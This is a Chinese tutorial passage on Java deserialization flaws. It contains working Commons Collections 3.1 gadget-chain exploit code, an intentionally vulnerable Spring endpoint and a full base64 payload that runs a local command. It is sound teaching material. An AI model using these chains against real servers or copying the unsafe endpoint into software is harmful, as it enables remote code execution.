以下文件为用到的所有源码：
java反序列化初探_源码.zip.doc

java反序列化漏洞

2015年11月6日，FoxGlove Security安全团队的@breenmachine 发布的一篇博客中介绍了如何利用Java反序列化和Apache Commons Collections这一基础类库实现远程命令执行，来攻击最新版的WebLogic、WebSphere、JBoss、Jenkins、OpenNMS这些大名鼎鼎的Java应用，实现远程代码执行。而在将近10个月前， Gabriel Lawrence 和Chris Frohoff 就已经在AppSecCali上的一个报告里提到了这个漏洞利用思路。

Apache Commons Collections这样的基础库非常多的Java应用都在用，一旦编程人员误用了反序列化这一机制，使得用户输入可以直接被反序列化，就能导致任意代码执行，这是一个极其严重的问题，博客中提到的WebLogic等存在此问题的应用可能只是冰山一角。

序列化是什么

序列化是指将数据结构或对象状态转换成可取用格式，以留待后续在相同或另一台计算机环境中，能恢复原先状态的过程。

序列化：将数据结构或对象转换为二进制字节流保存在内存、文件、数据库中，或通过网络传输。
反序列化：将保存在内存、文件、数据库中，或通过网络传输接收到的二进制字节流转换为数据结构或对象。

image.png

image.png

Java中的反序列化

Java 自身提供了序列化的功能，需要实现 **java.io.Serializable** 接口，标明该对象是可序列化的。 **java.io.Serializable** 是一个空接口，不需要对象实现方法。

  1. 所有需要网络传输的对象都需要实现序列化接口，通过建议所有的javaBean都实现Serializable接口。
  2. 对象的类名、实例变量（包括基本类型，数组，对其他对象的引用）都会被序列化；方法、类变量、transient实例变量都不会被序列化。
  3. 如果想让某个变量不被序列化，使用transient修饰。
  4. 序列化对象的引用类型成员变量，也必须是可序列化的，否则，会报错。
  5. 反序列化时必须有序列化对象的class文件。
  6. 当通过文件、网络来读取序列化后的对象时，必须按照实际写入的顺序读取。
  7. 单例类序列化，需要重写readResolve()方法；否则会破坏单例原则。
  8. 同一对象序列化多次，只有第一次序列化为二进制流，以后都只是保存序列化编号，不会重复序列化。
  9. 建议所有可序列化的类加上serialVersionUID 版本号，方便项目升级。

以下面这段代码为例，展示了一个对象的序列化和反序列化的过程。
Demo1.java

  1. package org.hai;
  3. import java.io.*;
  4. import java.nio.charset.StandardCharsets;
  5. import java.util.Base64;
  7. public class Demo1 {
  9.     public static class Command implements Serializable {
  10.         private String cmd;
  12.         public String getCmd() {
  13.             return cmd;
  14.         }
  16.         public void setCmd(String cmd) {
  17.             this.cmd = cmd;
  18.         }
  19.     }
  21.     // 程序A 执行序列化操作
  22.     public static void main(String[] args) {
  23.         // 创建一个 Command 对象
  24.         Command command = new Command();
  25.         command.setCmd("calc");
  26.         System.out.println("序列化前: " + command.getCmd());
  28.         // 将 Command对象 序列化为字节数组
  29.         ByteArrayOutputStream buffer = new ByteArrayOutputStream();
  30.         try {
  31.             ObjectOutputStream objectOutputStream = new ObjectOutputStream(buffer);
  32.             objectOutputStream.writeObject(command);
  33.         } catch (Exception e) {
  34.             e.printStackTrace();
  35.         }
  37.         // 将字节数组进行base64编码，无论是通过网络或者是文件都可以发送到另一个系统进行反序列化
  38.         String commandBase64Str = Base64.getEncoder().encodeToString(buffer.toByteArray());
  39.         System.out.println("序列化+Base64编码: " + commandBase64Str);
  40.     }
  42.     // 程序B 执行反序列化操作
  43.     public static void main2(String[] args) {
  44.         String commandBase64Str = "rO0ABXNyABVvcmcuaGFpLkRlbW8xJENvbW1hbmQC4flwMAB8mQIAAUwAA2NtZHQAEkxqYXZhL2xhbmcvU3RyaW5nO3hwdAAEY2FsYw==";
  45.         System.out.println("序列化+Base64编码: " + commandBase64Str);
  47.         // 将 base64编码的数据 解码为字节数组
  48.         byte[] bytes = Base64.getDecoder().decode(commandBase64Str.getBytes(StandardCharsets.UTF_8));
  50.         // 将 字节数组 反序列化为对象
  51.         ByteArrayInputStream b = new ByteArrayInputStream(bytes);
  52.         try {
  53.             ObjectInputStream objectInputStream = new ObjectInputStream(b);
  54.             Command comm = (Command) objectInputStream.readObject();
  55.             System.out.println("反序列化: " + comm.getCmd());
  56.         } catch (Exception e) {
  57.             e.printStackTrace();
  58.         }
  59.     }
  60. }

查看代码可以看出我们并没有指定如何进行序列化和反序列化，是Java自动帮助我们实现的，通过在对象中增加 **writeObject** **readObject** 两个私有方法就可以实现自己操作序列化和反序列化。

反序列化漏洞的成因

**java.io.Serializable** 是一个空接口，没有需要实现的方法，要怎么自定义自己的序列化和反序列化方式呢？，找到 **final User obj = (User) input.readObject();** 这行代码，点击跳转源码，发现实际上是调用了 **Object obj = readObject0(false);**，进入 **readObject0** 的实现中发现原来当目标是对象的时候会调用 **readOrdinaryObject**，他接着看了下去，发现只实现 **java.io.Serializable** 的对象会调用 **readSerialData(obj, desc);** 这行代码，而 **readSerialData** 方法中又会调用 **slotDesc.invokeReadObject(obj, this);**，最终是是调用了 **readObjectMethod.invoke(obj, new Object[]{ in });** ，但**readObjectMethod**又是从哪里来的呢？他查看了一下引用，原来是 **ObjectStreamClass** 的构建函数里面初始化的。

  1. private ObjectStreamClass(final Class<?> cl) {
  2.     ...
  3.     if (externalizable) {
  4.         cons = getExternalizableConstructor(cl);
  5.     } else {
  6.         cons = getSerializableConstructor(cl);
  7.         writeObjectMethod = getPrivateMethod(cl, "writeObject",
  8.             new Class<?>[] { ObjectOutputStream.class },
  9.             Void.TYPE);
  10.         readObjectMethod = getPrivateMethod(cl, "readObject",
  11.             new Class<?>[] { ObjectInputStream.class },
  12.             Void.TYPE);
  13.         readObjectNoDataMethod = getPrivateMethod(
  14.             cl, "readObjectNoData", null, Void.TYPE);
  15.         hasWriteObjectData = (writeObjectMethod != null);
  16.     }
  17.     domains = getProtectionDomains(cons, cl);
  18.     ...
  19. }

通过查看源码发现只需要在对象中增加一个名为 readObject参数是 java.io.ObjectInputStream 的私有方法就行了。
Demo2.java

  1. package org.hai;
  3. import java.io.*;
  4. import java.nio.charset.StandardCharsets;
  5. import java.util.Base64;
  7. public class Demo2 {
  9.     public static class Command implements Serializable {
  10.         private String cmd;
  12.         public String getCmd() {
  13.             return cmd;
  14.         }
  16.         public void setCmd(String cmd) {
  17.             this.cmd = cmd;
  18.         }
  20.         // readObject 私有方法会在反序列化的时候被系统调用
  21.         private void readObject(java.io.ObjectInputStream is) throws IOException, ClassNotFoundException {
  22.             // 执行默认的readObject方法
  23.             is.defaultReadObject();
  24.             // 执行命令
  25.             Runtime.getRuntime().exec(this.getCmd());
  26.         }
  27.     }
  29.     // 程序A 执行序列化操作
  30.     public static void main(String[] args) {
  31.         // 创建一个 Command 对象
  32.         Command command = new Command();
  33.         command.setCmd("calc");
  34.         System.out.println("序列化前: " + command.getCmd());
  36.         // 将 Command对象 序列化为字节数组
  37.         ByteArrayOutputStream buffer = new ByteArrayOutputStream();
  38.         try {
  39.             ObjectOutputStream objectOutputStream = new ObjectOutputStream(buffer);
  40.             objectOutputStream.writeObject(command);
  41.         } catch (Exception e) {
  42.             e.printStackTrace();
  43.         }
  45.         // 将字节数组进行base64编码，无论是通过网络或者是文件都可以发送到另一个系统进行反序列化
  46.         String commandBase64Str = Base64.getEncoder().encodeToString(buffer.toByteArray());
  47.         System.out.println("序列化+Base64编码: " + commandBase64Str);
  48.     }
  50.     // 程序B 执行反序列化操作
  51.     public static void main2(String[] args) {
  52.         String commandBase64Str = "rO0ABXNyABVvcmcuaGFpLkRlbW8yJENvbW1hbmT+9Diqt0EvswIAAUwAA2NtZHQAEkxqYXZhL2xhbmcvU3RyaW5nO3hwdAAEY2FsYw==";
  53.         System.out.println("序列化+Base64编码: " + commandBase64Str);
  55.         // 将 base64编码的数据 解码为字节数组
  56.         byte[] bytes = Base64.getDecoder().decode(commandBase64Str.getBytes(StandardCharsets.UTF_8));
  58.         // 将 字节数组 反序列化为对象
  59.         ByteArrayInputStream b = new ByteArrayInputStream(bytes);
  60.         try {
  61.             ObjectInputStream objectInputStream = new ObjectInputStream(b);
  62.             Command comm = (Command) objectInputStream.readObject();
  63.             System.out.println("反序列化: " + comm.getCmd());
  64.         } catch (Exception e) {
  65.             e.printStackTrace();
  66.         }
  67.     }
  68. }

运行程序B后发现同时还弹出来了计算器。

Java 反序列化漏洞的产生原因就是在执行反序列化方法的时候执行了非法的命令，但真的会有程序员这样写代码吗？非要在反序列化方法里面加上执行命令的代码。

真实环境里面的反序列化漏洞是什么样子的？

以 commons-collections 3.1 版本为例，InvokerTransformer 本来是用来帮助开发人员进行类型转换的，但由于其功能过于灵活，被安全人员发现可以用来执行任意代码。

0x01

首先我们来看一段简单的代码，用 InvokerTransformer 来实现 Runtime.getRuntime().exec("calc")。
Demo3.java

  1. package org.hai;
  3. import org.apache.commons.collections.Transformer;
  4. import org.apache.commons.collections.functors.ChainedTransformer;
  5. import org.apache.commons.collections.functors.ConstantTransformer;
  6. import org.apache.commons.collections.functors.InvokerTransformer;
  8. public class Demo3 {
  10.     // Runtime.getRuntime().exec("calc");
  11.     public static void main(String[] args) {
  13.         // 使用 ConstantTransformer 将 Runtime.class 包装一层，等同于  Class<Runtime> runtimeClass = Runtime.class;
  14.         Object runtimeClass = new ConstantTransformer(Runtime.class).transform(null);
  16.         // 使用 InvokerTransformer 调用 runtimeClass 的 getMethod 方法,
  17.         // 等同于  Method getRuntime = runtimeClass.getMethod("getRuntime", null);
  18.         Object getRuntimeMethod = new InvokerTransformer(
  19.                 "getMethod",
  20.                 new Class[]{String.class, Class[].class},
  21.                 new Object[]{"getRuntime", null}
  22.         ).transform(runtimeClass);
  24.         // 使用 InvokerTransformer 调用getRuntimeMethod 的 invoke 方法,
  25.         // 等同于 Object runtime = getRuntime.invoke(null, null);
  26.         Object runtime = new InvokerTransformer(
  27.                 "invoke",
  28.                 new Class[]{Object.class, Object[].class},
  29.                 new Object[]{null, null}
  30.         ).transform(getRuntimeMethod);
  32.         // 使用 InvokerTransformer 调用 runtime 的 exec 方法，等同于 runtime.exec("calc")
  33.         Object exec = new InvokerTransformer(
  34.                 "exec",
  35.                 new Class[]{String.class},
  36.                 new Object[]{"calc"}
  37.         ).transform(runtime);
  38.     }
  39. }

InvokerTransformer 构造方法有三个参数，分别为 方法名称、方法参数类型数组、方法参数数组，方法名称不用多说，其中第二个方法参数类型数组和第三个方法参数数组 的长度必须要相等。

InvokerTransformer 的 transform 方法就是将输入的对象按照构造方法传入的参数转换为另一个对象，没有任何限制，因此即使程序内部没有 Runtime.getRuntime().exec("calc") 这行代码，也通过InvokerTransformer来可实现调用。

0x02

尽管程序内部没有 Runtime.getRuntime().exec("calc") 这行代码，但是开发人员肯定也不会把上面那一大块代码写到程序里面，因此我们还需要另想办法。首先我们先把代码简化一下，修改为链式调用。
Demo3.java

  1. package org.hai;
  3. import org.apache.commons.collections.Transformer;
  4. import org.apache.commons.collections.functors.ChainedTransformer;
  5. import org.apache.commons.collections.functors.ConstantTransformer;
  6. import org.apache.commons.collections.functors.InvokerTransformer;
  8. public class Demo3 {
  10.     public static void main(String[] args) {
  11.         Transformer[] transformers = new Transformer[]{
  12.                 new ConstantTransformer(Runtime.class),
  13.                 new InvokerTransformer(
  14.                         "getMethod",
  15.                         new Class[]{String.class, Class[].class},
  16.                         new Object[]{"getRuntime", null}
  17.                 ),
  18.                 new InvokerTransformer(
  19.                         "invoke",
  20.                         new Class[]{Object.class, Object[].class},
  21.                         new Object[]{null, null}
  22.                 ),
  23.                 new InvokerTransformer(
  24.                         "exec",
  25.                         new Class[]{String.class},
  26.                         new Object[]{"calc"}
  27.                 )
  28.         };
  30.         // 把 Transformer 使用链的方式调用，从上到下，不用再每次执行
  31.         Transformer transformerChain = ChainedTransformer.getInstance(transformers);
  32.         // 调用转换
  33.         transformerChain.transform(null);
  34.     }
  35. }

这样我们只需要调用一次 transform 就行了，但是想让目标系统执行我们的代码还是不可能的，因此还需要再寻求其他方式。

0x03

有安全人员发现，commons-collections 自己实现了 Map.Entry，并且在 setValue 的时候会先调用 TransformedMap 的 checkSetValue 方法，而这个方法又调用了我们传入的 valueTransformer 的 transform 方法，这样一套流程下来，当我们对经过 TransformedMap 转换出来的 Map 做 put 操作的时候，都会触发执行一次我们构造的任意指令。

  1. package org.hai;
  3. import org.apache.commons.collections.Transformer;
  4. import org.apache.commons.collections.functors.ChainedTransformer;
  5. import org.apache.commons.collections.functors.ConstantTransformer;
  6. import org.apache.commons.collections.functors.InvokerTransformer;
  7. import org.apache.commons.collections.map.TransformedMap;
  9. import java.util.HashMap;
  10. import java.util.Map;
  12. public class Demo4 {
  14.     public static void main(String[] args) {
  15.         Transformer[] transformers = new Transformer[]{
  16.                 new ConstantTransformer(Runtime.class),
  17.                 new InvokerTransformer(
  18.                         "getMethod",
  19.                         new Class[]{String.class, Class[].class},
  20.                         new Object[]{"getRuntime", null}
  21.                 ),
  22.                 new InvokerTransformer(
  23.                         "invoke",
  24.                         new Class[]{Object.class, Object[].class},
  25.                         new Object[]{null, null}
  26.                 ),
  27.                 new InvokerTransformer(
  28.                         "exec",
  29.                         new Class[]{String.class},
  30.                         new Object[]{"calc"}
  31.                 )
  32.         };
  34.         // 把 Transformer 使用链的方式调用，从上到下，不用再每次执行
  35.         Transformer transformerChain = ChainedTransformer.getInstance(transformers);
  37.         // 利用 TransformedMap 的漏洞来执行 transform 方法
  38.         Map<String, String> innerMap = new HashMap<>();
  39.         innerMap.put("name", "张三");
  40.         // TransformedMap 继承自 AbstractInputCheckedMapDecorator，
  41.         // Map 中的 元素会被转换为 AbstractInputCheckedMapDecorator.MapEntry
  42.         Map<String, String> outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
  43.         // AbstractInputCheckedMapDecorator.MapEntry 在 setValue 时会先调用 parent.checkSetValue(value)，
  44.         // 而 checkSetValue 会调用 valueTransformer 的 transform 方法
  45.         outerMap.put("name", "李四");
  46.     }
  47. }

现在只差最后一步，需要找到一个类，用它创建一个对象并完成序列化，同时它还必须满足以下三个条件：

  1. 实现了 Serializable 接口。
  2. 增加了 readObject 方法。
  3. 成员变量中有 Map 并且在 readObject 时对这个 Map 进行了 put 操作或操作了 Map.Entry 的 setValue 方法。

安全人员在审查 openjdk 源码时发现了 sun.reflect.annotation.AnnotationInvocationHandler类符合这个条件，只需用这个类创建一个对象，再将其序列化之后的内容发送到其他系统，即可完成漏洞利用。

其 readObject 方法如下
sun.reflect.annotation.AnnotationInvocationHandler.class

  1.  private void readObject(java.io.ObjectInputStream s)
  2.         throws java.io.IOException, ClassNotFoundException {
  3.         s.defaultReadObject();
  6.         // Check to make sure that types have not evolved incompatibly
  7.         AnnotationType annotationType = null;
  8.         try {
  9.             annotationType = AnnotationType.getInstance(type);
  10.         } catch(IllegalArgumentException e) {
  11.             // Class is no longer an annotation type; time to punch out
  12.             throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
  13.         }
  15.         Map<String, Class<?>> memberTypes = annotationType.memberTypes();
  17.         Map<String, Class<?>> memberTypes = annotationType.memberTypes();
  19.         // If there are annotation members without values, that
  20.         // situation is handled by the invoke method.
  21.         for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
  22.             // debug 发现这个 name 是一个固定值 "value" 
  23.             String name = memberValue.getKey();
  24.             Class<?> memberType = memberTypes.get(name);    // 根据键"value"获取值java.lang.annotation.RetentionPolicy类对象
  25.             if (memberType != null) { // 此处如果获取到RetentionPolicy类对象就进入下面代码
  26.                 Object value = memberValue.getValue();
  27.                 if (!(memberType.isInstance(value) ||
  28.                       value instanceof ExceptionProxy)) {
  29.                     // 下面这行代码会触发 valueTransformer的transform方法
  30.                     memberValue.setValue(
  31.                         new AnnotationTypeMismatchExceptionProxy(
  32.                             value.getClass() + "[" + value + "]").setMember(
  33.                                 annotationType.members().get(name)));
  34.                 }
  35.             }
  36.         }
  37.     }

通过 debug 发现 Map 中的 key 为固定值 "value" ，因此我们需要将 Map 中的 key 修改为字符串 "value"，下面我们生成一个 payload。

  1. package org.hai;
  3. import org.apache.commons.collections.Transformer;
  4. import org.apache.commons.collections.functors.ChainedTransformer;
  5. import org.apache.commons.collections.functors.ConstantTransformer;
  6. import org.apache.commons.collections.functors.InvokerTransformer;
  7. import org.apache.commons.collections.map.TransformedMap;
  9. import java.io.ByteArrayInputStream;
  10. import java.io.ByteArrayOutputStream;
  11. import java.io.ObjectInputStream;
  12. import java.io.ObjectOutputStream;
  13. import java.lang.annotation.Retention;
  14. import java.lang.annotation.Target;
  15. import java.lang.reflect.Constructor;
  16. import java.nio.charset.StandardCharsets;
  17. import java.util.Base64;
  18. import java.util.HashMap;
  19. import java.util.Map;
  21. public class Demo5 {
  23.     public static void main(String[] args) {
  24.         Transformer[] transformers = new Transformer[]{
  25.                 new ConstantTransformer(Runtime.class),
  26.                 new InvokerTransformer(
  27.                         "getMethod",
  28.                         new Class[]{String.class, Class[].class},
  29.                         new Object[]{"getRuntime", null}
  30.                 ),
  31.                 new InvokerTransformer(
  32.                         "invoke",
  33.                         new Class[]{Object.class, Object[].class},
  34.                         new Object[]{null, null}
  35.                 ),
  36.                 new InvokerTransformer(
  37.                         "exec",
  38.                         new Class[]{String.class},
  39.                         new Object[]{"calc"}
  40.                 )
  41.         };
  43.         // 把 Transformer 使用链的方式调用，从上到下，不用再每次执行
  44.         Transformer transformerChain = ChainedTransformer.getInstance(transformers);
  46.         // 利用 TransformedMap 的漏洞来执行 transform 方法
  47.         Map<String, String> innerMap = new HashMap<>();
  48.         innerMap.put("value", "张三");
  49.         // TransformedMap 继承自 AbstractInputCheckedMapDecorator，
  50.         // Map 中的 元素会被转换为 AbstractInputCheckedMapDecorator.MapEntry
  51.         Map<String, String> outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
  52.         // AbstractInputCheckedMapDecorator.MapEntry 在 setValue 时会先调用 parent.checkSetValue(value)，
  53.         // 而 checkSetValue 会调用 valueTransformer 的 transform 方法
  54. //        outerMap.put("name", "李四");
  56.         try {
  57.             // AnnotationInvocationHandler 不是 public 类型的类，且没有公开的构造器方法，只能通过反射创建
  58.             Class<?> cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
  59.             // 获取构造方法
  60.             Constructor<?> constructor = cls.getDeclaredConstructor(Class.class, Map.class);
  61.             // 因为其构造方法不是 public
  62.             constructor.setAccessible(true);
  63.             // 实例化对象
  64.             Object target = constructor.newInstance(Retention.class, outerMap);
  66.             // 将对象序列化为字节数组
  67.             ByteArrayOutputStream buffer = new ByteArrayOutputStream();
  68.             ObjectOutputStream outputStream = new ObjectOutputStream(buffer);
  69.             outputStream.writeObject(target);
  71.             // 将字节数组进行base64编码，无论是通过网络或者是文件都可以发送到另一个系统进行反序列化
  72.             final String data = Base64.getEncoder().encodeToString(buffer.toByteArray());
  73.             System.out.println("payload: " + data);
  75.         } catch (Exception e) {
  76.             e.printStackTrace();
  77.         }
  78.     }
  79. }

使用 maven 创建一个 springboot 项目来模拟目标环境，添加 commons-collections 3.1 的依赖，并增加一个http接口如下：

SpringbootDemo1Application.java

  1. package com.hai.springbootDemo1;
  3. import org.springframework.boot.SpringApplication;
  4. import org.springframework.boot.autoconfigure.SpringBootApplication;
  5. import org.springframework.web.bind.annotation.PostMapping;
  6. import org.springframework.web.bind.annotation.RestController;
  8. import javax.servlet.ServletInputStream;
  9. import javax.servlet.http.HttpServletRequest;
  10. import java.io.BufferedReader;
  11. import java.io.ByteArrayInputStream;
  12. import java.io.InputStreamReader;
  13. import java.io.ObjectInputStream;
  14. import java.nio.charset.StandardCharsets;
  15. import java.util.Base64;
  17. @RestController
  18. @SpringBootApplication
  19. public class SpringbootDemo1Application {
  21.     public static void main(String[] args) {
  22.         SpringApplication.run(SpringbootDemo1Application.class, args);
  23.     }
  25.     @PostMapping("/index")
  26.     public String index(HttpServletRequest request) throws Exception {
  28.         ServletInputStream inputStream = request.getInputStream();
  29.         final StringBuilder sb = new StringBuilder();
  30.         try (BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream))) {
  31.             char[] charBuffer = new char[1024];
  32.             int bytesRead;
  33.             while ((bytesRead = bufferedReader.read(charBuffer)) > 0) {
  34.                 sb.append(charBuffer, 0, bytesRead);
  35.             }
  36.         }
  37.         // 读取 request body 中的字符串
  38.         final String requestBody = sb.toString();
  39.         // 使用 base64 解码
  40.         final byte[] bytes = Base64.getDecoder().decode(requestBody.getBytes(StandardCharsets.UTF_8));
  42.         // 将字节数组反序列化为对象
  43.         ByteArrayInputStream b = new ByteArrayInputStream(bytes);
  44.         try (ObjectInputStream input = new ObjectInputStream(b)) {
  45.             Object obj = input.readObject();
  46.             System.out.println(obj);
  47.         }
  48.         return "success";
  49.     }
  50. }

使用burp发包，发现弹出计算器。

  1. POST /index HTTP/1.1
  2. HOST: 127.0.0.1:8080
  3. Content-Length: 2414
  5. rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAAXNyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIABEkACmxpbmVOdW1iZXJMAA5kZWNsYXJpbmdDbGFzc3EAfgAFTAAIZmlsZU5hbWVxAH4ABUwACm1ldGhvZE5hbWVxAH4ABXhwAAAAMXQADW9yZy5oYWkuRGVtbzZ0AApEZW1vNi5qYXZhdAAEbWFpbnNyACZqYXZhLnV0aWwuQ29sbGVjdGlvbnMkVW5tb2RpZmlhYmxlTGlzdPwPJTG17I4QAgABTAAEbGlzdHEAfgAHeHIALGphdmEudXRpbC5Db2xsZWN0aW9ucyRVbm1vZGlmaWFibGVDb2xsZWN0aW9uGUIAgMte9x4CAAFMAAFjdAAWTGphdmEvdXRpbC9Db2xsZWN0aW9uO3hwc3IAE2phdmEudXRpbC5BcnJheUxpc3R4gdIdmcdhnQMAAUkABHNpemV4cAAAAAB3BAAAAAB4cQB+ABV4c3IANG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5rZXl2YWx1ZS5UaWVkTWFwRW50cnmKrdKbOcEf2wIAAkwAA2tleXEAfgABTAADbWFwdAAPTGphdmEvdXRpbC9NYXA7eHB0AAblvKDkuIlzcgAqb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLm1hcC5MYXp5TWFwbuWUgp55EJQDAAFMAAdmYWN0b3J5dAAsTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAtW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHB1cgAtW0xvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuVHJhbnNmb3JtZXI7vVYq8dg0GJkCAAB4cAAAAARzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHEAfgABeHB2cgARamF2YS5sYW5nLlJ1bnRpbWUAAAAAAAAAAAAAAHhwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5JbnZva2VyVHJhbnNmb3JtZXKH6P9re3zOOAIAA1sABWlBcmdzdAATW0xqYXZhL2xhbmcvT2JqZWN0O0wAC2lNZXRob2ROYW1lcQB+AAVbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWVwdAAJZ2V0TWV0aG9kdXIAEltMamF2YS5sYW5nLkNsYXNzO6sW167LzVqZAgAAeHAAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAuc3EAfgAmdXEAfgAqAAAAAnBwdAAGaW52b2tldXEAfgAuAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AKnNxAH4AJnVxAH4AKgAAAAF0AARjYWxjdAAEZXhlY3VxAH4ALgAAAAFxAH4AMXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeHg=

在新版本的jdk中这个漏洞已经被修复了，在setValue时，已无法再调用transform方法。

  2.         for (Map.Entry<String, Object> memberValue : streamVals.entrySet()) {
  3.             String name = memberValue.getKey();
  4.             Object value = null;
  5.             Class<?> memberType = memberTypes.get(name);
  6.             if (memberType != null) {
  7.                 value = memberValue.getValue();
  8.                 if (!(memberType.isInstance(value) ||
  9.                       value instanceof ExceptionProxy)) {
  10.                     value = new AnnotationTypeMismatchExceptionProxy(
  11.                             value.getClass() + "[" + value + "]").setMember(
  12.                                 annotationType.members().get(name));
  13.                 }
  14.             }
  15.             mv.put(name, value);
  16.         }
  17.         // 新增了不安全setValue验证
  18.         UnsafeAccessor.setType(this, t);
  19.         UnsafeAccessor.setMemberValues(this, mv);

有漏洞的jdk只局限于以下这几个版本

新的调用链

经过安全人员的审计，另一个类 javax.management.BadAttributeValueExpException 出现在了安全人员的视野。

javax.management.BadAttributeValueExpException 继承自 java.lang.Exception，java.lang.Exception 继承自 java.lang.Throwable，而 java.lang.Throwable 实现了 java.io.Serializable。因此 javax.management.BadAttributeValueExpException 符合了 可序列化 这个要求，同样的它也增加了 readObject 方法，这个类的完整代码如下：

  1. package javax.management;
  3. import java.io.IOException;
  4. import java.io.ObjectInputStream;
  7. /**
  8.  * Thrown when an invalid MBean attribute is passed to a query
  9.  * constructing method.  This exception is used internally by JMX
  10.  * during the evaluation of a query.  User code does not usually
  11.  * see it.
  12.  *
  13.  * @since 1.5
  14.  */
  15. public class BadAttributeValueExpException extends Exception   {
  18.     /* Serial version */
  19.     private static final long serialVersionUID = -3105272988410493376L;
  21.     /**
  22.      * @serial A string representation of the attribute that originated this exception.
  23.      * for example, the string value can be the return of {@code attribute.toString()}
  24.      */
  25.     private Object val;
  27.     /**
  28.      * Constructs a BadAttributeValueExpException using the specified Object to
  29.      * create the toString() value.
  30.      *
  31.      * @param val the inappropriate value.
  32.      */
  33.     public BadAttributeValueExpException (Object val) {
  34.         this.val = val == null ? null : val.toString();
  35.     }
  38.     /**
  39.      * Returns the string representing the object.
  40.      */
  41.     public String toString()  {
  42.         return "BadAttributeValueException: " + val;
  43.     }
  45.     private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
  46.         // 从已经序列化成字节数组的信息找获取 序列化前的类 的全部成员变量
  47.         ObjectInputStream.GetField gf = ois.readFields();
  48.         // 获取名词为 val 的成员变量，如果获取不到就返回 null
  49.         Object valObj = gf.get("val", null);
  51.         if (valObj == null) {
  52.             val = null;
  53.         } else if (valObj instanceof String) {
  54.             val= valObj;
  55.         } else if (System.getSecurityManager() == null
  56.                 || valObj instanceof Long
  57.                 || valObj instanceof Integer
  58.                 || valObj instanceof Float
  59.                 || valObj instanceof Double
  60.                 || valObj instanceof Byte
  61.                 || valObj instanceof Short
  62.                 || valObj instanceof Boolean) {
  63.             val = valObj.toString();
  64.         } else { // the serialized object is from a version without JDK-8019292 fix
  65.             val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
  66.         }
  67.     }
  68.  }

首先我们来看这个方法的第一行代码 ObjectInputStream.GetField gf = ois.readFields();，它的意思是从已经序列化成字节数组的信息找获取 序列化前的类 的全部成员变量。

第二行代码 Object valObj = gf.get("val", null); 的意思是获取名词为 val 的成员变量，如果获取不到就返回 null。

接下来前两个的 if 判断很简单，就不解释了。

第三个 if 判断中只要 System.getSecurityManager() 是空值或者 valObj 是基本数据包装类型就调用 toString() 方法转换为字符串。

问题就出在这个 **toString()** 上。

0x01

安全人员在审查 commons-collections 3.1 的源码时发现 org.apache.commons.collections.keyvalue.TiedMapEntry 的 toString() 方法如下：

  1. public String toString() {
  2.     return getKey() + "=" + getValue();
  3. }

getKey() 和 getValue() 代码如下：

  1. public class TiedMapEntry implements Map.Entry, KeyValue, Serializable {
  3.     /** Serialization version */    
  4.     private static final long serialVersionUID = -8453869361373831205L;
  6.     /** The map underlying the entry/iterator */    
  7.     private final Map map;
  8.     /** The key */
  9.     private final Object key;
  11.     /**
  12.      * Constructs a new entry with the given Map and key.
  13.      *
  14.      * @param map  the map
  15.      * @param key  the key
  16.      */
  17.     public TiedMapEntry(Map map, Object key) {
  18.         super();
  19.         this.map = map;
  20.         this.key = key;
  21.     }
  23.     // Map.Entry interface
  24.     //-------------------------------------------------------------------------
  25.     /**
  26.      * Gets the key of this entry
  27.      * 
  28.      * @return the key
  29.      */
  30.     public Object getKey() {
  31.         return key;
  32.     }
  34.     /**
  35.      * Gets the value of this entry direct from the map.
  36.      * 
  37.      * @return the value
  38.      */
  39.     public Object getValue() {
  40.         return map.get(key);
